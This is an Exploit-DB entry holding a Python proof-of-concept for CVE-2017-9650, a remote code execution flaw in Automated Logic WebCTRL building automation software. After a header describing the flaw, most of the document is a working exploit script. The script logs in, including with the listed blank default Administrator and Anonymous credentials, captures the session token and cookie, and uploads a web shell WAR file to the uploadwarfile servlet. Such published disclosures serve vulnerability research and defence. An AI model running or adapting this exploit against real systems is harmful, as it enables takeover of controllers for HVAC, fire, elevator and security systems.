Automated Logic WebCTRL 6.5 - Unrestricted File Upload / Remote Code Execution

EDB-ID:

42544




Platform:

Java

Date:

2017-08-22


#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution
#
#
# Vendor: Automated Logic Corporation
# Product web page: http://www.automatedlogic.com
# Affected version: ALC WebCTRL, i-Vu, SiteScan Web 6.5 and prior
#                   ALC WebCTRL, SiteScan Web 6.1 and prior
#                   ALC WebCTRL, i-Vu 6.0 and prior
#                   ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior
#                   ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior
#
# Summary: WebCTRL®, Automated Logic's web-based building automation
# system, is known for its intuitive user interface and powerful integration
# capabilities. It allows building operators to optimize and manage
# all of their building systems - including HVAC, lighting, fire, elevators,
# and security - all within a single HVAC controls platform. It's everything
# they need to keep occupants comfortable, manage energy conservation measures,
# identify key operational problems, and validate the results.
#
# Desc: WebCTRL suffers from an authenticated arbitrary code execution
# vulnerability. The issue is caused due to the improper verification
# when uploading Add-on (.addons or .war) files using the uploadwarfile
# servlet. This can be exploited to execute arbitrary code by uploading
# a malicious web archive file that will run automatically and can be
# accessed from within the webroot directory. Additionaly, an improper
# authorization access control occurs when using the 'anonymous' user.
# By specification, the anonymous user should not have permissions or
# authorization to upload or install add-ons. In this case, when using
# the anonymous user, an attacker is still able to upload a malicious
# file via insecure direct object reference and execute arbitrary code.
# The anonymous user was removed from version 6.5 of WebCTRL.
#
# Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601)
#            Apache-Coyote/1.1
#            Apache Tomcat/7.0.42
#            CJServer/1.1
#            Java/1.7.0_25-b17
#            Java HotSpot Server VM 23.25-b01
#            Ant 1.7.0
#            Axis 1.4
#            Trove 2.0.2
#            Xalan Java 2.4.1
#            Xerces-J 2.6.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5431
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5431.php
#
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-17-234-01
# CVE ID: CVE-2017-9650
# CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9650
#
#
# 30.01.2017
#
#

import itertools
import mimetools
import mimetypes
import cookielib
import binascii
import urllib2
import urllib
import sys
import re
import os

from urllib2 import URLError
global bindata

__author__ = 'lqwrm'

piton = os.path.basename(sys.argv[0])

def bannerche():
  print '''
 @-------------------------------------------------@
 |                                                 |
 |        WebCTRL 6.5 Authenticated RCE PoC        |
 |               ID: ZSL-2017-5431                 |
 |       Copyleft (c) 2017, Zero Science Lab       |
 |                                                 |
 @-------------------------------------------------@
          '''
  if len(sys.argv) < 3:
    print '[+] Usage: '+piton+' <IP> <WAR FILE>'
    print '[+] Example: '+piton+' 10.0.0.17 webshell.war\n'
    sys.exit()

bannerche()

host = sys.argv[1]
filename = sys.argv[2]

with open(filename, 'rb') as f:
    content = f.read()
hexo = binascii.hexlify(content)
bindata = binascii.unhexlify(hexo)

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

print '[+] Probing target http://'+host

try:
  checkhost = opener.open('http://'+host+'/index.jsp?operatorlocale=en')
except urllib2.HTTPError, errorzio:
  if errorzio.code == 404:
    print '[!] Error 001:'
    print '[-] Check your target!'
    print
    sys.exit()
except URLError, errorziocvaj:
  if errorziocvaj.reason:
    print '[!] Error 002:'
    print '[-] Check your target!'
    print
    sys.exit()

print '[+] Target seems OK.'
print '[+] Login please:'

print '''
Default username: Administrator, Anonymous
Default password: (blank), (blank)
'''

username = raw_input('[*] Enter username: ')
password = raw_input('[*] Enter password: ')

login_data = urllib.urlencode({'pass':password, 'name':username, 'touchscr':'false'})

opener.addheaders = [('User-agent', 'Thrizilla/33.9')]
login = opener.open('http://'+host+'/?language=en', login_data)
auth = login.read()

if re.search(r'productName = \'WebCTRL', auth):
  print '[+] Authenticated!'
  token = re.search('wbs=(.+?)&', auth).group(1)
  print '[+] Got wbs token: '+token
  cookie1, cookie2 = [str(c) for c in cj]
  cookie = cookie1[8:51]
  print '[+] Got cookie: '+cookie
else:
  print '[-] Incorrect username or password.'
  print
  sys.exit()

print '[+] Sending payload.'

class MultiPartForm(object):

    def __init__(self):
        self.form_fields = []
        self.files = []
        self.boundary = mimetools.choose_boundary()
        return
    
    def get_content_type(self):
        return 'multipart/form-data; boundary=%s' % self.boundary

    def add_field(self, name, value):
        self.form_fields.append((name, value))
        return

    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
        body = fileHandle.read()
        if mimetype is None:
            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        self.files.append((fieldname, filename, mimetype, body))
        return
    
    def __str__(self):

        parts = []
        part_boundary = '--' + self.boundary
        
        parts.extend(
            [ part_boundary,
              'Content-Disposition: form-data; name="%s"' % name,
              '',
              value,
            ]
            for name, value in self.form_fields
            )
        
        parts.extend(
            [ part_boundary,
              'Content-Disposition: file; name="%s"; filename="%s"' % \
                 (field_name, filename),
              'Content-Type: %s' % content_type,
              '',
              body,
            ]
            for field_name, filename, content_type, body in self.files
            )
        
        flattened = list(itertools.chain(*parts))
        flattened.append('--' + self.boundary + '--')
        flattened.append('')
        return '\r\n'.join(flattened)

if __name__ == '__main__':
    form = MultiPartForm()
    form.add_field('wbs', token)
    form.add_field('file"; filename="'+filename, bindata)
    request = urllib2.Request('http://'+host+'/_common/servlet/lvl5/uploadwarfile')
    request.add_header('User-agent', 'SCADA/8.0')
    body = str(form)
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Cookie', cookie)
    request.add_header('Content-length', len(body))
    request.add_data(body)
    request.get_data()
    urllib2.urlopen(request).read()

print '[+] Payload uploaded.'
print '[+] Shell available at: http://'+host+'/'+filename[:-4]
print

sys.exit()